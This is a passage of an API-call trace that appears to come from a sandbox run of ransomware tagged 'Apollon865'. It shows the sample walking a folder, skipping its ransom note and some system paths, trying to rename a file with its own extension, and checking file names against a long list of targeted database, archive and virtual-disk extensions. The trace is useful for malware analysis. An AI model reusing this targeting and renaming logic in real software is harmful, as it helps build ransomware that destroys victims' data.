	[0052.198] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0052.198] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0052.198] lstrlenW (lpString="gadget.xml") returned 10
	[0052.198] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css") returned 69
	[0052.198] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0052.198] lstrlenW (lpString="gadget.xml") returned 10
	[0052.199] lstrlenW (lpString="Apollon865") returned 10
	[0052.199] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.Apollon865") returned 87
	[0052.199] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.212] GetLastError () returned 0x5
	[0052.212] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 105
	[0052.212] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 105
	[0052.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0052.212] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f3f
	[0052.213] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0052.213] CloseHandle (hObject=0xc0) returned 1
	[0052.213] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.213] CloseHandle (hObject=0x0) returned 0
	[0052.213] CloseHandle (hObject=0x0) returned 0
	[0052.213] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x372e4b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x372e4b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.213] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.213] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0052.213] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0052.214] lstrlenW (lpString="js") returned 2
	[0052.214] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 76
	[0052.214] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="js" | out: lpString1="js") returned="js"
	[0052.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0052.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599558
	[0052.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0052.214] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0052.214] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0052.214] lstrlenW (lpString="settings.html") returned 13
	[0052.214] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned 68
	[0052.214] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0052.214] lstrlenW (lpString="settings.html") returned 13
	[0052.214] lstrlenW (lpString="Apollon865") returned 10
	[0052.214] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0052.215] lstrlenW (lpString=".dll") returned 4
	[0052.215] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0052.215] lstrlenW (lpString=".lnk") returned 4
	[0052.215] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0052.215] lstrlenW (lpString=".ini") returned 4
	[0052.215] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0052.215] lstrlenW (lpString=".sys") returned 4
	[0052.215] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0052.215] lstrlenW (lpString="settings.html") returned 13
	[0052.215] lstrlenW (lpString="bak") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0052.215] lstrlenW (lpString="ba_") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0052.215] lstrlenW (lpString="dbb") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0052.215] lstrlenW (lpString="vmdk") returned 4
	[0052.215] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0052.215] lstrlenW (lpString="rar") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0052.215] lstrlenW (lpString="zip") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0052.215] lstrlenW (lpString="tgz") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0052.215] lstrlenW (lpString="vbox") returned 4
	[0052.215] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0052.215] lstrlenW (lpString="vdi") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0052.215] lstrlenW (lpString="vhd") returned 3
	[0052.215] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0052.215] lstrlenW (lpString="vhdx") returned 4
	[0052.215] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0052.215] lstrlenW (lpString="avhd") returned 4
	[0052.215] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0052.215] lstrlenW (lpString="db") returned 2
	[0052.215] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.216] lstrlenW (lpString="db2") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0052.216] lstrlenW (lpString="db3") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0052.216] lstrlenW (lpString="dbf") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0052.216] lstrlenW (lpString="mdf") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0052.216] lstrlenW (lpString="mdb") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0052.216] lstrlenW (lpString="sql") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0052.216] lstrlenW (lpString="sqlite") returned 6
	[0052.216] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0052.216] lstrlenW (lpString="sqlite3") returned 7
	[0052.216] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0052.216] lstrlenW (lpString="sqlitedb") returned 8
	[0052.216] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0052.216] lstrlenW (lpString="xml") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0052.216] lstrlenW (lpString="$er") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0052.216] lstrlenW (lpString="4dd") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0052.216] lstrlenW (lpString="4dl") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0052.216] lstrlenW (lpString="^^^") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0052.216] lstrlenW (lpString="abs") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0052.216] lstrlenW (lpString="abx") returned 3
	[0052.216] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0052.216] lstrlenW (lpString="accdb") returned 5
	[0052.216] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0052.216] lstrlenW (lpString="accdc") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0052.217] lstrlenW (lpString="accde") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0052.217] lstrlenW (lpString="accdr") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0052.217] lstrlenW (lpString="accdt") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0052.217] lstrlenW (lpString="accdw") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0052.217] lstrlenW (lpString="accft") returned 5
	[0052.217] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0052.217] lstrlenW (lpString="adb") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0052.217] lstrlenW (lpString="adb") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0052.217] lstrlenW (lpString="ade") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0052.217] lstrlenW (lpString="adf") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0052.217] lstrlenW (lpString="adn") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0052.217] lstrlenW (lpString="adp") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0052.217] lstrlenW (lpString="alf") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0052.217] lstrlenW (lpString="ask") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0052.217] lstrlenW (lpString="btr") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0052.217] lstrlenW (lpString="cat") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0052.217] lstrlenW (lpString="cdb") returned 3
	[0052.217] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0052.217] lstrlenW (lpString="ckp") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0052.218] lstrlenW (lpString="cma") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0052.218] lstrlenW (lpString="cpd") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0052.218] lstrlenW (lpString="dacpac") returned 6
	[0052.218] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0052.218] lstrlenW (lpString="dad") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0052.218] lstrlenW (lpString="dadiagrams") returned 10
	[0052.218] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0052.218] lstrlenW (lpString="daschema") returned 8
	[0052.218] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0052.218] lstrlenW (lpString="db-journal") returned 10
	[0052.218] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0052.218] lstrlenW (lpString="db-shm") returned 6
	[0052.218] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0052.218] lstrlenW (lpString="db-wal") returned 6
	[0052.218] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0052.218] lstrlenW (lpString="dbc") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0052.218] lstrlenW (lpString="dbs") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0052.218] lstrlenW (lpString="dbt") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0052.218] lstrlenW (lpString="dbv") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0052.218] lstrlenW (lpString="dbx") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0052.218] lstrlenW (lpString="dcb") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0052.218] lstrlenW (lpString="dct") returned 3
	[0052.218] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0052.218] lstrlenW (lpString="dcx") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0052.219] lstrlenW (lpString="ddl") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0052.219] lstrlenW (lpString="dlis") returned 4
	[0052.219] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0052.219] lstrlenW (lpString="dp1") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0052.219] lstrlenW (lpString="dqy") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0052.219] lstrlenW (lpString="dsk") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0052.219] lstrlenW (lpString="dsn") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0052.219] lstrlenW (lpString="dtsx") returned 4
	[0052.219] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0052.219] lstrlenW (lpString="dxl") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0052.219] lstrlenW (lpString="eco") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0052.219] lstrlenW (lpString="ecx") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0052.219] lstrlenW (lpString="edb") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0052.219] lstrlenW (lpString="epim") returned 4
	[0052.219] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0052.219] lstrlenW (lpString="fcd") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0052.219] lstrlenW (lpString="fdb") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0052.219] lstrlenW (lpString="fic") returned 3
	[0052.219] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0052.219] lstrlenW (lpString="flexolibrary") returned 12
	[0052.219] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0052.219] lstrlenW (lpString="fm5") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0052.220] lstrlenW (lpString="fmp") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0052.220] lstrlenW (lpString="fmp12") returned 5
	[0052.220] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0052.220] lstrlenW (lpString="fmpsl") returned 5
	[0052.220] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0052.220] lstrlenW (lpString="fol") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0052.220] lstrlenW (lpString="fp3") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0052.220] lstrlenW (lpString="fp4") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0052.220] lstrlenW (lpString="fp5") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0052.220] lstrlenW (lpString="fp7") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0052.220] lstrlenW (lpString="fpt") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0052.220] lstrlenW (lpString="frm") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0052.220] lstrlenW (lpString="gdb") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0052.220] lstrlenW (lpString="gdb") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0052.220] lstrlenW (lpString="grdb") returned 4
	[0052.220] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0052.220] lstrlenW (lpString="gwi") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0052.220] lstrlenW (lpString="hdb") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0052.220] lstrlenW (lpString="his") returned 3
	[0052.220] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0052.220] lstrlenW (lpString="ib") returned 2
	[0052.221] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0052.221] lstrlenW (lpString="idb") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0052.221] lstrlenW (lpString="ihx") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0052.221] lstrlenW (lpString="itdb") returned 4
	[0052.221] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0052.221] lstrlenW (lpString="itw") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0052.221] lstrlenW (lpString="jet") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0052.221] lstrlenW (lpString="jtx") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0052.221] lstrlenW (lpString="kdb") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0052.221] lstrlenW (lpString="kexi") returned 4
	[0052.221] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0052.221] lstrlenW (lpString="kexic") returned 5
	[0052.221] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0052.221] lstrlenW (lpString="kexis") returned 5
	[0052.221] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0052.221] lstrlenW (lpString="lgc") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0052.221] lstrlenW (lpString="lwx") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0052.221] lstrlenW (lpString="maf") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0052.221] lstrlenW (lpString="maq") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0052.221] lstrlenW (lpString="mar") returned 3
	[0052.221] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0052.221] lstrlenW (lpString="marshal") returned 7
	[0052.221] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0052.221] lstrlenW (lpString="mas") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0052.222] lstrlenW (lpString="mav") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0052.222] lstrlenW (lpString="maw") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0052.222] lstrlenW (lpString="mdbhtml") returned 7
	[0052.222] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0052.222] lstrlenW (lpString="mdn") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0052.222] lstrlenW (lpString="mdt") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0052.222] lstrlenW (lpString="mfd") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0052.222] lstrlenW (lpString="mpd") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0052.222] lstrlenW (lpString="mrg") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0052.222] lstrlenW (lpString="mud") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0052.222] lstrlenW (lpString="mwb") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0052.222] lstrlenW (lpString="myd") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0052.222] lstrlenW (lpString="ndf") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0052.222] lstrlenW (lpString="nnt") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0052.222] lstrlenW (lpString="nrmlib") returned 6
	[0052.222] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0052.222] lstrlenW (lpString="ns2") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0052.222] lstrlenW (lpString="ns3") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0052.222] lstrlenW (lpString="ns4") returned 3
	[0052.222] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0052.223] lstrlenW (lpString="nsf") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0052.223] lstrlenW (lpString="nv") returned 2
	[0052.223] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0052.223] lstrlenW (lpString="nv2") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0052.223] lstrlenW (lpString="nwdb") returned 4
	[0052.223] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0052.223] lstrlenW (lpString="nyf") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0052.223] lstrlenW (lpString="odb") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0052.223] lstrlenW (lpString="odb") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0052.223] lstrlenW (lpString="oqy") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0052.223] lstrlenW (lpString="ora") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0052.223] lstrlenW (lpString="orx") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0052.223] lstrlenW (lpString="owc") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0052.223] lstrlenW (lpString="p96") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0052.223] lstrlenW (lpString="p97") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0052.223] lstrlenW (lpString="pan") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0052.223] lstrlenW (lpString="pdb") returned 3
	[0052.223] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0052.223] lstrlenW (lpString="pdm") returned 3
